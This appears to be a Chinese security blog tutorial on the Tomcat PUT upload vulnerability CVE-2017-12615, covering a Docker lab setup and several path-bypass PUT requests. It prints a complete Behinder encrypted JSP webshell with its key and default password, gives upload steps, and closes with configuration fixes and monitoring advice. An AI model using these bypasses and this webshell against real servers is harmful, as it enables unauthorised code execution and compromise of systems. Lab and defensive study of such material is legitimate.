从配置到利用:深度剖析Tomcat PUT文件上传漏洞(CVE-2017-12615)的攻防实战 1. 漏洞背景与原理剖析CVE-2017-12615是Apache Tomcat服务器中一个经典的配置型漏洞它的核心问题出在web.xml配置文件中的readonly参数。这个参数本意是控制是否允许HTTP PUT和DELETE方法默认值为true禁止写入操作。但当管理员手动将其设置为false时就会为攻击者打开一扇危险的大门。漏洞触发机制可以这样理解Tomcat处理请求时会根据文件后缀决定由哪个Servlet处理。对于.jsp/.jspx文件会交给JspServlet处理而其他静态文件则由DefaultServlet处理。关键点在于JspServlet不支持PUT方法DefaultServlet支持PUT方法但会检查文件后缀攻击者通过精心构造的请求路径如添加/或%20让Tomcat误认为不是.jsp文件而交给DefaultServlet处理最终却能在服务器上生成可执行的jsp文件。这就好比快递员把危险品伪装成普通包裹绕过了安检机制。2. 环境搭建与漏洞验证2.1 实验环境准备我建议使用Docker快速搭建漏洞环境这是最安全便捷的方式# 拉取vulhub漏洞环境 git clone https://github.com/vulhub/vulhub.git cd vulhub/tomcat/CVE-2017-12615 docker-compose up -d如果要在Windows物理机复现需要特别注意下载Tomcat 7.0.79版本修改conf/web.xml在DefaultServlet配置段添加init-param param-namereadonly/param-name param-valuefalse/param-value /init-param2.2 基础漏洞验证使用curl发送PUT请求测试curl -X PUT -d test http://target:8080/test.txt如果返回HTTP 201状态码说明文件上传成功。这是漏洞存在的初步证据。3. 绕过技巧实战演示3.1 Windows环境下的花式绕过在Windows平台利用文件系统特性可以实现多种绕过斜杠绕过最经典PUT /shell.jsp/ HTTP/1.1 Host: target:8080 Content-Type: text/plain Content-Length: 25 % out.println(hello); %空格绕过%20会被自动去除PUT /shell.jsp%20 HTTP/1.1NTFS数据流绕过PUT /shell.jsp::$DATA HTTP/1.1大小写混淆PUT /shell.JsP HTTP/1.1我在实际测试中发现不同Tomcat版本对这些绕过的检测严格程度不同。7.0.79版本对大小写绕过检测较为严格但斜杠绕过始终有效。3.2 Linux环境下的绕过Linux环境下绕过方式相对有限主要依靠路径解析特性斜杠绕过同样有效PUT /shell.jsp/ HTTP/1.1双重扩展名部分版本有效PUT /shell.jsp.txt HTTP/1.14. 攻击链完整演示4.1 制作JSP Webshell推荐使用冰蝎的jsp马特点是加密通信、功能全面%page importjava.util.*,javax.crypto.*,javax.crypto.spec.*% %!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}% %if (request.getMethod().equals(POST)){ String ke45e329feb5d925b; session.putValue(u,k); Cipher cCipher.getInstance(AES); c.init(2,new SecretKeySpec(k.getBytes(),AES)); new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%4.2 使用BurpSuite上传拦截任意GET请求右键发送到Repeater修改请求方法为PUT设置路径为/shell.jsp/将上述jsp代码放入请求体发送请求确认返回201状态码4.3 权限获取与维持上传成功后使用冰蝎客户端连接设置URL为http://target:8080/shell.jsp默认连接密码rebeyond成功连接后可执行命令、上传下载文件等我曾在一个真实测试案例中发现通过这个漏洞不仅能获取web权限还能利用Tomcat的运行权限通常是system/root读取敏感配置文件进一步横向移动。5. 防御方案与最佳实践5.1 临时缓解措施修改web.xml配置init-param param-namereadonly/param-name param-valuetrue/param-value /init-param禁用PUT方法可能影响业务security-constraint web-resource-collection url-pattern/*/url-pattern http-method-omissionGET/http-method-omission http-method-omissionPOST/http-method-omission http-method-omissionHEAD/http-method-omission /web-resource-collection auth-constraint/auth-constraint /security-constraint5.2 根本解决方案升级到Tomcat 7.0.81版本官方已修复此漏洞定期进行配置审计使用工具检查web.xml安全性5.3 监控与检测建议在服务器部署以下监控措施监控webapps目录下jsp文件的创建审计PUT方法的访问日志使用WAF拦截异常的PUT请求我在企业环境中曾通过日志分析发现过攻击尝试攻击者平均每5分钟就会扫描一次PUT漏洞足见这个漏洞的流行程度。